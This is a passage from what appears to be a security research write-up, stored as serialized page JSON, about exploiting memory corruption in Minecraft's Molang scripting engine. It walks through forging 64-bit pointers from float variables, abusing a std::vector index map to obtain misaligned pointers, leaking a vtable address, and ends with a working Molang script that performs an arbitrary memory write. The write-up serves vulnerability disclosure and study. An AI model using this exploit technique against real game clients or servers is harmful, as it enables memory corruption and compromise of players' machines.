",{"type":22,"tag":257,"props":155410,"children":155412},{"className":155411},[],[155413],{"type":27,"value":154652},{"type":27,"value":155415}," in the example above wouldn’t work because ",{"type":22,"tag":257,"props":155417,"children":155419},{"className":155418},[],[155420],{"type":27,"value":155421},"0xddccbba0",{"type":27,"value":155423}," is not a valid float. So the first issue still remains unresolved.",{"type":22,"tag":20197,"props":155425,"children":155427},{"id":155426},"the-final-approach",[155428],{"type":27,"value":155429},"The Final Approach",{"type":22,"tag":23,"props":155431,"children":155432},{},[155433,155435,155440,155442,155448],{"type":27,"value":155434},"We realized that instead of having the second pointer at ",{"type":22,"tag":257,"props":155436,"children":155438},{"className":155437},[],[155439],{"type":27,"value":155269},{"type":27,"value":155441},", we could instead have it at ",{"type":22,"tag":257,"props":155443,"children":155445},{"className":155444},[],[155446],{"type":27,"value":155447},"MolangVariableMap + 2",{"type":27,"value":155449},", which would resolve both of our issues.",{"type":22,"tag":23,"props":155451,"children":155452},{},[155453,155455,155460,155461,155466],{"type":27,"value":155454},"Let’s revisit the previous example, but this time ",{"type":22,"tag":257,"props":155456,"children":155458},{"className":155457},[],[155459],{"type":27,"value":154666},{"type":27,"value":155250},{"type":22,"tag":257,"props":155462,"children":155464},{"className":155463},[],[155465],{"type":27,"value":155447},{"type":27,"value":5785},{"type":22,"tag":618,"props":155468,"children":155470},{"code":155469},"                   +-------------+-------------+\n                   | a0 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                             \n+-------------+                                 \n|    . . .    |                                 \n",[155471],{"type":22,"tag":257,"props":155472,"children":155473},{"__ignoreMap":7},[155474],{"type":27,"value":155469},{"type":22,"tag":23,"props":155476,"children":155477},{},[155478,155480,155485],{"type":27,"value":155479},"With this setup, we can calculate any address relative to ",{"type":22,"tag":257,"props":155481,"children":155483},{"className":155482},[],[155484],{"type":27,"value":154722},{"type":27,"value":155486}," by first saving the upper 48 bits of the address:",{"type":22,"tag":618,"props":155488,"children":155490},{"code":155489},"variable.saved_upper_48 = variable.b;\n",[155491],{"type":22,"tag":257,"props":155492,"children":155493},{"__ignoreMap":7},[155494],{"type":27,"value":155489},{"type":22,"tag":23,"props":155496,"children":155497},{},[155498,155499,155505,155507,155513],{"type":27,"value":131130},{"type":22,"tag":257,"props":155500,"children":155502},{"className":155501},[],[155503],{"type":27,"value":155504},"variable.saved_upper_48",{"type":27,"value":155506}," holds the value ",{"type":22,"tag":257,"props":155508,"children":155510},{"className":155509},[],[155511],{"type":27,"value":155512},"0x1c80ddcc",{"type":27,"value":210},{"type":22,"tag":23,"props":155515,"children":155516},{},[155517],{"type":27,"value":155518},"To fix our earlier problem of being unable to increment invalid float values, we can simply clear the upper 48 bits:",{"type":22,"tag":618,"props":155520,"children":155522},{"code":155521},"variable.b = 0;\n",[155523],{"type":22,"tag":257,"props":155524,"children":155525},{"__ignoreMap":7},[155526],{"type":27,"value":155521},{"type":22,"tag":23,"props":155528,"children":155529},{},[155530],{"type":27,"value":155531},"Resulting in the following state:",{"type":22,"tag":618,"props":155533,"children":155535},{"code":155534},"                   +-------------+-------------+\n                   | a0 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                            \n+-------------+                                 \n|    . . .    |                                 \n",[155536],{"type":22,"tag":257,"props":155537,"children":155538},{"__ignoreMap":7},[155539],{"type":27,"value":155534},{"type":22,"tag":23,"props":155541,"children":155542},{},[155543,155545,155550,155552,155558,155560,155565],{"type":27,"value":155544},"Now, the value of ",{"type":22,"tag":257,"props":155546,"children":155548},{"className":155547},[],[155549],{"type":27,"value":154652},{"type":27,"value":155551}," only spans 16 bits (",{"type":22,"tag":257,"props":155553,"children":155555},{"className":155554},[],[155556],{"type":27,"value":155557},"0xbba0",{"type":27,"value":155559}," specifically), which is always a valid float since it’s far below ",{"type":22,"tag":257,"props":155561,"children":155563},{"className":155562},[],[155564],{"type":27,"value":155149},{"type":27,"value":210},{"type":22,"tag":23,"props":155567,"children":155568},{},[155569,155571,155576],{"type":27,"value":155570},"We can now safely adjust the lower 16 bits of the pointer by incrementing ",{"type":22,"tag":257,"props":155572,"children":155574},{"className":155573},[],[155575],{"type":27,"value":154652},{"type":27,"value":5785},{"type":22,"tag":618,"props":155578,"children":155579},{"code":155333},[155580],{"type":22,"tag":257,"props":155581,"children":155582},{"__ignoreMap":7},[155583],{"type":27,"value":155333},{"type":22,"tag":23,"props":155585,"children":155586},{},[155587],{"type":27,"value":155588},"Which results in:",{"type":22,"tag":618,"props":155590,"children":155592},{"code":155591},"                   +-------------+-------------+\n                   | a8 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                            \n+-------------+                                 \n|    . . .    |                                 \n",[155593],{"type":22,"tag":257,"props":155594,"children":155595},{"__ignoreMap":7},[155596],{"type":27,"value":155591},{"type":22,"tag":23,"props":155598,"children":155599},{},[155600],{"type":27,"value":155601},"If we only wanted to increment the pointer by 8, we could finish by restoring the upper 48 bits:",{"type":22,"tag":618,"props":155603,"children":155605},{"code":155604},"variable.b = variable.saved_upper_48;\n",[155606],{"type":22,"tag":257,"props":155607,"children":155608},{"__ignoreMap":7},[155609],{"type":27,"value":155604},{"type":22,"tag":23,"props":155611,"children":155612},{},[155613],{"type":27,"value":155614},"Yielding a valid pointer again:",{"type":22,"tag":618,"props":155616,"children":155618},{"code":155617},"                   +-------------+-------------+\n                   | a8 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                             \n+-------------+                                 \n|    . . .    |                                 \n",[155619],{"type":22,"tag":257,"props":155620,"children":155621},{"__ignoreMap":7},[155622],{"type":27,"value":155617},{"type":22,"tag":23,"props":155624,"children":155625},{},[155626],{"type":27,"value":155627},"However, if we wanted to increment the pointer by a value larger than 16 bits can represent, we would continue by first saving the adjusted lower 16 bits:",{"type":22,"tag":618,"props":155629,"children":155631},{"code":155630},"variable.saved_adjusted_lower_16 = variable.a;\n",[155632],{"type":22,"tag":257,"props":155633,"children":155634},{"__ignoreMap":7},[155635],{"type":27,"value":155630},{"type":22,"tag":23,"props":155637,"children":155638},{},[155639],{"type":27,"value":155640},"Next, we need to extract the middle and upper 16 bits of the address. We start by restoring the previously saved upper 48 bits:",{"type":22,"tag":618,"props":155642,"children":155644},{"code":155643},"variable.a = variable.saved_upper_48;\n",[155645],{"type":22,"tag":257,"props":155646,"children":155647},{"__ignoreMap":7},[155648],{"type":27,"value":155643},{"type":22,"tag":23,"props":155650,"children":155651},{},[155652],{"type":27,"value":155653},"This produces the following state:",{"type":22,"tag":618,"props":155655,"children":155657},{"code":155656},"                   +-------------+-------------+\n                   | cc dd 80 1c | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    |                                 \n",[155658],{"type":22,"tag":257,"props":155659,"children":155660},{"__ignoreMap":7},[155661],{"type":27,"value":155656},{"type":22,"tag":23,"props":155663,"children":155664},{},[155665,155667,155672,155674,155680,155682,155688,155690,155695,155697,155702],{"type":27,"value":155666},"As shown, ",{"type":22,"tag":257,"props":155668,"children":155670},{"className":155669},[],[155671],{"type":27,"value":154666},{"type":27,"value":155673}," now contains the upper 16 bits of the address (",{"type":22,"tag":257,"props":155675,"children":155677},{"className":155676},[],[155678],{"type":27,"value":155679},"0x1c80",{"type":27,"value":155681},"), which we can store as ",{"type":22,"tag":257,"props":155683,"children":155685},{"className":155684},[],[155686],{"type":27,"value":155687},"variable.saved_upper_16 = variable.b",{"type":27,"value":155689},". Meanwhile, ",{"type":22,"tag":257,"props":155691,"children":155693},{"className":155692},[],[155694],{"type":27,"value":154652},{"type":27,"value":155696}," contains both the middle and upper 16 bits. To isolate the middle bits, we simply clear ",{"type":22,"tag":257,"props":155698,"children":155700},{"className":155699},[],[155701],{"type":27,"value":154666},{"type":27,"value":5785},{"type":22,"tag":618,"props":155704,"children":155705},{"code":155521},[155706],{"type":22,"tag":257,"props":155707,"children":155708},{"__ignoreMap":7},[155709],{"type":27,"value":155521},{"type":22,"tag":23,"props":155711,"children":155712},{},[155713],{"type":27,"value":155714},"Leaving us with:",{"type":22,"tag":618,"props":155716,"children":155718},{"code":155717},"                   +-------------+-------------+\n                   | cc dd 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    |                                 \n",[155719],{"type":22,"tag":257,"props":155720,"children":155721},{"__ignoreMap":7},[155722],{"type":27,"value":155717},{"type":22,"tag":23,"props":155724,"children":155725},{},[155726],{"type":27,"value":155727},"We can now save the middle 16 bits:",{"type":22,"tag":618,"props":155729,"children":155731},{"code":155730},"variable.saved_middle_16 = variable.a;\n",[155732],{"type":22,"tag":257,"props":155733,"children":155734},{"__ignoreMap":7},[155735],{"type":27,"value":155730},{"type":22,"tag":23,"props":155737,"children":155738},{},[155739],{"type":27,"value":155740},"At this point, we have:",{"type":22,"tag":618,"props":155742,"children":155744},{"code":155743},"variable.saved_adjusted_lower_16 = 0xbba8\nvariable.saved_middle_16 = 0xddcc\nvariable.saved_upper_16 = 0x1c80\n",[155745],{"type":22,"tag":257,"props":155746,"children":155747},{"__ignoreMap":7},[155748],{"type":27,"value":155743},{"type":22,"tag":23,"props":155750,"children":155751},{},[155752],{"type":27,"value":155753},"All three parts are valid float values, ensuring deterministic calculations.",{"type":22,"tag":23,"props":155755,"children":155756},{},[155757],{"type":27,"value":155758},"If we needed to increment the pointer by more than the maximum 16-bit value, we would simply increment the middle and upper parts accordingly:",{"type":22,"tag":618,"props":155760,"children":155762},{"code":155761},"variable.saved_adjusted_middle_16 = variable.saved_middle_16 + itof(0x1);\nvariable.saved_adjusted_upper_16 = variable.saved_upper_16 + itof(0x1);\n",[155763],{"type":22,"tag":257,"props":155764,"children":155765},{"__ignoreMap":7},[155766],{"type":27,"value":155761},{"type":22,"tag":23,"props":155768,"children":155769},{},[155770],{"type":27,"value":155771},"After modifying the three 16-bit parts, we can reconstruct the full pointer by reversing the extraction process. We start by forging the upper 48 bits:",{"type":22,"tag":618,"props":155773,"children":155775},{"code":155774},"variable.a = variable.saved_adjusted_middle_16;\n",[155776],{"type":22,"tag":257,"props":155777,"children":155778},{"__ignoreMap":7},[155779],{"type":27,"value":155774},{"type":22,"tag":23,"props":155781,"children":155782},{},[155783,155785,155790,155791,155797,155798,155804],{"type":27,"value":155784},"Setting ",{"type":22,"tag":257,"props":155786,"children":155788},{"className":155787},[],[155789],{"type":27,"value":154652},{"type":27,"value":58097},{"type":22,"tag":257,"props":155792,"children":155794},{"className":155793},[],[155795],{"type":27,"value":155796},"0xddcd",{"type":27,"value":4370},{"type":22,"tag":257,"props":155799,"children":155801},{"className":155800},[],[155802],{"type":27,"value":155803},"0xddcc + 1",{"type":27,"value":155805},"), and then:",{"type":22,"tag":618,"props":155807,"children":155809},{"code":155808},"variable.b = variable.saved_adjusted_upper_16;\n",[155810],{"type":22,"tag":257,"props":155811,"children":155812},{"__ignoreMap":7},[155813],{"type":27,"value":155808},{"type":22,"tag":23,"props":155815,"children":155816},{},[155817,155819,155824,155826,155832,155833,155839],{"type":27,"value":155818},"Resulting in ",{"type":22,"tag":257,"props":155820,"children":155822},{"className":155821},[],[155823],{"type":27,"value":154666},{"type":27,"value":155825}," value becoming ",{"type":22,"tag":257,"props":155827,"children":155829},{"className":155828},[],[155830],{"type":27,"value":155831},"0x1c81",{"type":27,"value":4370},{"type":22,"tag":257,"props":155834,"children":155836},{"className":155835},[],[155837],{"type":27,"value":155838},"0x1c80 + 1",{"type":27,"value":25258},{"type":22,"tag":618,"props":155841,"children":155843},{"code":155842},"                   +-------------+-------------+\n                   | cd dd 81 1c | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[155844],{"type":22,"tag":257,"props":155845,"children":155846},{"__ignoreMap":7},[155847],{"type":27,"value":155842},{"type":22,"tag":23,"props":155849,"children":155850},{},[155851],{"type":27,"value":155852},"Now we save the adjusted upper 48 bits:",{"type":22,"tag":618,"props":155854,"children":155856},{"code":155855},"variable.saved_adjusted_upper_48 = variable.a;\n",[155857],{"type":22,"tag":257,"props":155858,"children":155859},{"__ignoreMap":7},[155860],{"type":27,"value":155855},{"type":22,"tag":23,"props":155862,"children":155863},{},[155864],{"type":27,"value":155865},"Finally, we attach the lower 16 bits:",{"type":22,"tag":618,"props":155867,"children":155869},{"code":155868},"variable.a = variable.saved_adjusted_lower_16;\n",[155870],{"type":22,"tag":257,"props":155871,"children":155872},{"__ignoreMap":7},[155873],{"type":27,"value":155868},{"type":22,"tag":618,"props":155875,"children":155877},{"code":155876},"                   +-------------+-------------+\n                   | a8 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[155878],{"type":22,"tag":257,"props":155879,"children":155880},{"__ignoreMap":7},[155881],{"type":27,"value":155876},{"type":22,"tag":23,"props":155883,"children":155884},{},[155885],{"type":27,"value":155886},"And by setting:",{"type":22,"tag":618,"props":155888,"children":155890},{"code":155889},"variable.b = variable.saved_adjusted_upper_48;\n",[155891],{"type":22,"tag":257,"props":155892,"children":155893},{"__ignoreMap":7},[155894],{"type":27,"value":155889},{"type":22,"tag":23,"props":155896,"children":155897},{},[155898],{"type":27,"value":155899},"We forge the final adjusted pointer:",{"type":22,"tag":618,"props":155901,"children":155903},{"code":155902},"                   +-------------+-------------+\n                   | a8 bb cd dd | 81 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[155904],{"type":22,"tag":257,"props":155905,"children":155906},{"__ignoreMap":7},[155907],{"type":27,"value":155902},{"type":22,"tag":20097,"props":155909,"children":155910},{},[],{"type":22,"tag":23,"props":155912,"children":155913},{},[155914,155916,155921],{"type":27,"value":155915},"With this, we now have a method to calculate any pointer we want. However, the previous question still remains: how do we find a pointer to ",{"type":22,"tag":257,"props":155917,"children":155919},{"className":155918},[],[155920],{"type":27,"value":155447},{"type":27,"value":155403},{"type":22,"tag":23,"props":155923,"children":155924},{},[155925,155927,155932,155934,155939,155941,155947,155949,155954],{"type":27,"value":155926},"Eventually, we realized that we don’t necessarily need a pointer to ",{"type":22,"tag":257,"props":155928,"children":155930},{"className":155929},[],[155931],{"type":27,"value":155447},{"type":27,"value":155933},". Instead, we need any two pointers on the heap - one pointing to ",{"type":22,"tag":257,"props":155935,"children":155937},{"className":155936},[],[155938],{"type":27,"value":32001},{"type":27,"value":155940}," and the other to ",{"type":22,"tag":257,"props":155942,"children":155944},{"className":155943},[],[155945],{"type":27,"value":155946},"addr + 2",{"type":27,"value":155948}," (as long as ",{"type":22,"tag":257,"props":155950,"children":155952},{"className":155951},[],[155953],{"type":27,"value":32001},{"type":27,"value":155955}," lies within a writable region). The idea is to use these two pointers as a workspace where we can split, manipulate, and reconstruct a pointer.",{"type":22,"tag":23,"props":155957,"children":155958},{},[155959,155961,155966,155967,155972],{"type":27,"value":155960},"In this case, we need to corrupt an index of an additional (third) variable and make it index the ",{"type":22,"tag":257,"props":155962,"children":155964},{"className":155963},[],[155965],{"type":27,"value":151422},{"type":27,"value":155206},{"type":22,"tag":257,"props":155968,"children":155970},{"className":155969},[],[155971],{"type":27,"value":154226},{"type":27,"value":155973}," - once the new pointer is forged we can use this variable to assign it the forged pointer:",{"type":22,"tag":618,"props":155975,"children":155977},{"code":155976},"variable.corrupted_var_map_ptr = variable.a;\n",[155978],{"type":22,"tag":257,"props":155979,"children":155980},{"__ignoreMap":7},[155981],{"type":27,"value":155976},{"type":22,"tag":23,"props":155983,"children":155984},{},[155985,155987,155992,155994,156000],{"type":27,"value":155986},"As mentioned earlier, this operation copies the entire 64-bit ",{"type":22,"tag":257,"props":155988,"children":155990},{"className":155989},[],[155991],{"type":27,"value":40466},{"type":27,"value":155993}," field (in this case, the reconstructed pointer) and writes it to ",{"type":22,"tag":257,"props":155995,"children":155997},{"className":155996},[],[155998],{"type":27,"value":155999},"variable.corrupted_var_map_ptr",{"type":27,"value":156001},", even though the type itself is only a 32-bit float.",{"type":22,"tag":20197,"props":156003,"children":156005},{"id":156004},"finding-misaligned-pointers",[156006],{"type":27,"value":156007},"Finding Misaligned Pointers",{"type":22,"tag":23,"props":156009,"children":156010},{},[156011,156013,156018,156019,156025],{"type":27,"value":156012},"This step requires a heap-sprayable structure that contains two pointers separated by two bytes (",{"type":22,"tag":257,"props":156014,"children":156016},{"className":156015},[],[156017],{"type":27,"value":15248},{"type":27,"value":12290},{"type":22,"tag":257,"props":156020,"children":156022},{"className":156021},[],[156023],{"type":27,"value":156024},"ptr + 2",{"type":27,"value":156026},"). Fortunately, we didn’t have to look far as we were already familiar with a suitable structure.",{"type":22,"tag":23,"props":156028,"children":156029},{},[156030,156035,156036,156041,156043,156048,156050,156055,156057,156062,156064,156069,156071,156077,156078,156083],{"type":22,"tag":257,"props":156031,"children":156033},{"className":156032},[],[156034],{"type":27,"value":154402},{"type":27,"value":16743},{"type":22,"tag":257,"props":156037,"children":156039},{"className":156038},[],[156040],{"type":27,"value":154425},{"type":27,"value":156042}," found inside every entity object. As noted earlier, a ",{"type":22,"tag":257,"props":156044,"children":156046},{"className":156045},[],[156047],{"type":27,"value":154256},{"type":27,"value":156049}," contains three pointers: ",{"type":22,"tag":257,"props":156051,"children":156053},{"className":156052},[],[156054],{"type":27,"value":151422},{"type":27,"value":156056}," (the start of the allocated buffer), ",{"type":22,"tag":257,"props":156058,"children":156060},{"className":156059},[],[156061],{"type":27,"value":10436},{"type":27,"value":156063}," (just past the last element) and ",{"type":22,"tag":257,"props":156065,"children":156067},{"className":156066},[],[156068],{"type":27,"value":154355},{"type":27,"value":156070}," (the end of the allocated buffer). Because the element type is ",{"type":22,"tag":257,"props":156072,"children":156074},{"className":156073},[],[156075],{"type":27,"value":156076},"uint16_t",{"type":27,"value":103618},{"type":22,"tag":257,"props":156079,"children":156081},{"className":156080},[],[156082],{"type":27,"value":10436},{"type":27,"value":156084}," pointer advances by 2 bytes each time a new element is added.",{"type":22,"tag":23,"props":156086,"children":156087},{},[156088,156090,156095,156097,156103],{"type":27,"value":156089},"We can make the ",{"type":22,"tag":257,"props":156091,"children":156093},{"className":156092},[],[156094],{"type":27,"value":10436},{"type":27,"value":156096}," pointer equal to ",{"type":22,"tag":257,"props":156098,"children":156100},{"className":156099},[],[156101],{"type":27,"value":156102},"cap - 2",{"type":27,"value":156104}," by adding elements until the vector is one element short of full. In practice this is done by filling the entity with previously unseen variables.",{"type":22,"tag":618,"props":156106,"children":156108},{"code":156107},"                         +-> +---------------+\n                         |   |               |\n                         |   |     . . .     |\n                         |   |               |\n                         |   +-------+-------+\n                         |   | 00 f0 | 00 f1 |\n                         |   +-------+-------+\n                         |   | 00 f2 | 00 f3 |\n                         |   +-------+-------+\n  std::vector\u003Cuint16_t>  |   | 00 f4 | 00 f5 |\n     MolangIndexMap      |   +-------+-------+\n    +----------------+   |   | 00 f6 | 00 00 |\nbuf | 0x1c54f7a13200 | --+   +-------+-------+\n    +----------------+               ^       ^\nlen | 0x1c54f7a13306 | --------------+       |\n    +----------------+                       |\ncap | 0x1c54f7a13308 | ----------------------+\n    +----------------+                        \n",[156109],{"type":22,"tag":257,"props":156110,"children":156111},{"__ignoreMap":7},[156112],{"type":27,"value":156107},{"type":22,"tag":20097,"props":156114,"children":156115},{},[],{"type":22,"tag":23,"props":156117,"children":156118},{},[156119,156121,156126,156128,156133,156135,156140,156142,156147,156148,156153],{"type":27,"value":156120},"To summarize - the final setup will require overwriting indices of three variables: one that would index the ",{"type":22,"tag":257,"props":156122,"children":156124},{"className":156123},[],[156125],{"type":27,"value":151422},{"type":27,"value":156127}," pointer of ",{"type":22,"tag":257,"props":156129,"children":156131},{"className":156130},[],[156132],{"type":27,"value":154226},{"type":27,"value":156134}," in the entity object above, one that would index ",{"type":22,"tag":257,"props":156136,"children":156138},{"className":156137},[],[156139],{"type":27,"value":10436},{"type":27,"value":156141}," and the final ",{"type":22,"tag":257,"props":156143,"children":156145},{"className":156144},[],[156146],{"type":27,"value":154355},{"type":27,"value":156127},{"type":22,"tag":257,"props":156149,"children":156151},{"className":156150},[],[156152],{"type":27,"value":154402},{"type":27,"value":156154}," also in the same entity object above.",{"type":22,"tag":23,"props":156156,"children":156157},{},[156158,156160,156166,156167,156173,156175,156180,156181,156186,156188,156193,156195,156200,156201,156206,156208,156213],{"type":27,"value":156159},"The corrupted variables ",{"type":22,"tag":257,"props":156161,"children":156163},{"className":156162},[],[156164],{"type":27,"value":156165},"variable.corrupted_len_ptr",{"type":27,"value":12290},{"type":22,"tag":257,"props":156168,"children":156170},{"className":156169},[],[156171],{"type":27,"value":156172},"variable.corrupted_cap_ptr",{"type":27,"value":156174}," point to ",{"type":22,"tag":257,"props":156176,"children":156178},{"className":156177},[],[156179],{"type":27,"value":10436},{"type":27,"value":12290},{"type":22,"tag":257,"props":156182,"children":156184},{"className":156183},[],[156185],{"type":27,"value":154355},{"type":27,"value":156187},", respectively - they are two bytes apart. With these two we can compute arbitrary pointers using the method previously described. The third corrupted variable, ",{"type":22,"tag":257,"props":156189,"children":156191},{"className":156190},[],[156192],{"type":27,"value":155999},{"type":27,"value":156194},", points to the ",{"type":22,"tag":257,"props":156196,"children":156198},{"className":156197},[],[156199],{"type":27,"value":151422},{"type":27,"value":155206},{"type":22,"tag":257,"props":156202,"children":156204},{"className":156203},[],[156205],{"type":27,"value":154226},{"type":27,"value":156207},"; it is used to copy the calculated pointer into the allocated buffer of ",{"type":22,"tag":257,"props":156209,"children":156211},{"className":156210},[],[156212],{"type":27,"value":154226},{"type":27,"value":156214},", which in turn lets us overwrite a pointer of a different (fourth) variable. That fourth corrupted variable is what we ultimately use for arbitrary read/write.",{"type":22,"tag":23,"props":156216,"children":156217},{},[156218],{"type":27,"value":156219},"Before we can do any arbitrary memory operations, however, we need a leak - ideally the address of any Minecraft executable region - that lets us perform arbitrary reads and writes into the target memory region.",{"type":22,"tag":20197,"props":156221,"children":156223},{"id":156222},"leaking-pointers",[156224],{"type":27,"value":156225},"Leaking Pointers",{"type":22,"tag":23,"props":156227,"children":156228},{},[156229,156231,156237],{"type":27,"value":156230},"In C++, an object’s first field is typically a ",{"type":22,"tag":257,"props":156232,"children":156234},{"className":156233},[],[156235],{"type":27,"value":156236},"vtable",{"type":27,"value":156238}," pointer - a pointer into a read-only region of the executable in memory. That means the first field of the entity object contains an address inside the Minecraft executable, and we want to recover that value from our Molang script.",{"type":22,"tag":618,"props":156240,"children":156242},{"code":156241},"                                 Entity Object       \n                                                     \n                          +------------+------------+\n                          | vtable ptr |            |\n                          +------------+            |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                      +-> +------------+------------+\n                      |   |    buf     |    len     |\n      MolangIndexMap -+   +------------+------------+\n                      |   |    cap     |            |\n                   +--+-> +------------+------------+\n                   |      |    buf     |    len     |\nMolangVariableMap -+      +------------+------------+\n                   |      |    cap     |            |\n                   +----> +------------+            |\n                          |                         |\n                          +-------------------------+\n",[156243],{"type":22,"tag":257,"props":156244,"children":156245},{"__ignoreMap":7},[156246],{"type":27,"value":156241},{"type":22,"tag":23,"props":156248,"children":156249},{},[156250,156251,156256,156258,156263,156265,156270,156272,156277,156279,156284,156285,156290,156292,156297],{"type":27,"value":17914},{"type":22,"tag":257,"props":156252,"children":156254},{"className":156253},[],[156255],{"type":27,"value":40466},{"type":27,"value":156257}," field inside a ",{"type":22,"tag":257,"props":156259,"children":156261},{"className":156260},[],[156262],{"type":27,"value":153899},{"type":27,"value":156264}," is at offset ",{"type":22,"tag":257,"props":156266,"children":156268},{"className":156267},[],[156269],{"type":27,"value":154160},{"type":27,"value":156271},". We already control a corrupted variable, ",{"type":22,"tag":257,"props":156273,"children":156275},{"className":156274},[],[156276],{"type":27,"value":156165},{"type":27,"value":156278},", whose target we can shift by adding unseen variables: each unseen variable increments the ",{"type":22,"tag":257,"props":156280,"children":156282},{"className":156281},[],[156283],{"type":27,"value":10436},{"type":27,"value":155206},{"type":22,"tag":257,"props":156286,"children":156288},{"className":156287},[],[156289],{"type":27,"value":154402},{"type":27,"value":156291}," by 2 bytes, which in turn advances ",{"type":22,"tag":257,"props":156293,"children":156295},{"className":156294},[],[156296],{"type":27,"value":156165},{"type":27,"value":156298}," by 2 bytes.",{"type":22,"tag":23,"props":156300,"children":156301},{},[156302,156304,156309,156311,156317,156318,156323,156324,156329,156331,156336],{"type":27,"value":156303},"By moving ",{"type":22,"tag":257,"props":156305,"children":156307},{"className":156306},[],[156308],{"type":27,"value":10436},{"type":27,"value":156310}," so it equals ",{"type":22,"tag":257,"props":156312,"children":156314},{"className":156313},[],[156315],{"type":27,"value":156316},"cap - 0x38",{"type":27,"value":103618},{"type":22,"tag":257,"props":156319,"children":156321},{"className":156320},[],[156322],{"type":27,"value":40466},{"type":27,"value":155206},{"type":22,"tag":257,"props":156325,"children":156327},{"className":156326},[],[156328],{"type":27,"value":156165},{"type":27,"value":156330}," will overlap the first 8 bytes of the adjacent heap chunk above - in our case, the entity object (manipulated by the heap spray) - which means those first 8 bytes are the entity’s ",{"type":22,"tag":257,"props":156332,"children":156334},{"className":156333},[],[156335],{"type":27,"value":156236},{"type":27,"value":156337}," pointer. We can then capture that pointer with:",{"type":22,"tag":618,"props":156339,"children":156341},{"code":156340},"variable.saved_vtable_pointer = variable.corrupted_len_ptr;\n",[156342],{"type":22,"tag":257,"props":156343,"children":156344},{"__ignoreMap":7},[156345],{"type":27,"value":156340},{"type":22,"tag":23,"props":156347,"children":156348},{},[156349,156351,156356,156358,156363,156365,156370,156372,156378],{"type":27,"value":156350},"After saving the leak, we add 27 unseen variables to advance ",{"type":22,"tag":257,"props":156352,"children":156354},{"className":156353},[],[156355],{"type":27,"value":10436},{"type":27,"value":156357}," until it equals ",{"type":22,"tag":257,"props":156359,"children":156361},{"className":156360},[],[156362],{"type":27,"value":156102},{"type":27,"value":156364},". That produces the setup required for our arbitrary read/write primitive while having the leaked ",{"type":22,"tag":257,"props":156366,"children":156368},{"className":156367},[],[156369],{"type":27,"value":156236},{"type":27,"value":156371}," address in ",{"type":22,"tag":257,"props":156373,"children":156375},{"className":156374},[],[156376],{"type":27,"value":156377},"variable.saved_vtable_pointer",{"type":27,"value":210},{"type":22,"tag":20097,"props":156380,"children":156381},{},[],{"type":22,"tag":23,"props":156383,"children":156384},{},[156385,156387,156392,156394,156400],{"type":27,"value":156386},"A Molang script that performs an arbitrary write of the value ",{"type":22,"tag":257,"props":156388,"children":156390},{"className":156389},[],[156391],{"type":27,"value":44819},{"type":27,"value":156393}," to the address ",{"type":22,"tag":257,"props":156395,"children":156397},{"className":156396},[],[156398],{"type":27,"value":156399},"vtable + 0x1000",{"type":27,"value":156401}," looks like this:",{"type":22,"tag":618,"props":156403,"children":156405},{"code":156404},"// calculate lower 16\nvariable.corrupted_len_ptr = variable.saved_vtable_lower_16;\nvariable.corrupted_cap_ptr = 0;\n// subtract the offset of `value` field within MolangVariable (0x38)\nvariable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1000 - 0x38);\nvariable.calculated_lower_16 = variable.corrupted_len_ptr;\n\n// calculate middle 16, check if lower 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_middle_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_lower_16 >= itof(0x10000)) ? {\n    variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_middle_16 = variable.corrupted_len_ptr;\n\n// calculate high 16, check if middle 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_high_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_middle_16 >= itof(0x10000)) ? {\n    variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_high_16 = variable.corrupted_len_ptr;\n\n// construct the final pointer\nvariable.corrupted_len_ptr = variable.calculated_middle_16;\nvariable.corrupted_cap_ptr = variable.calculated_high_16;\nvariable.calculated_upper_48 = variable.corrupted_len_ptr;\nvariable.corrupted_len_ptr = variable.calculated_lower_16;\nvariable.corrupted_cap_ptr = variable.calculated_upper_48;\n\n// copy the constructed pointer to MolangVariableMap\nvariable.corrupted_var_map_ptr = variable.corrupted_len_ptr;\n\n// variable.f pointer is now `vtable + 0x1000 - 0x38`\n// and the value 0x1337 is written at `vtable + 0x1000`\nvariable.f = itof(0x1337);\n",[156406],{"type":22,"tag":257,"props":156407,"children":156408},{"__ignoreMap":7},[156409],{"type":27,"value":156404},{"type":22,"tag":20197,"props":156411,"children":156413},{"id":156412},"required-heap-layout",[156414],{"type":27,"value":156415},"Required Heap 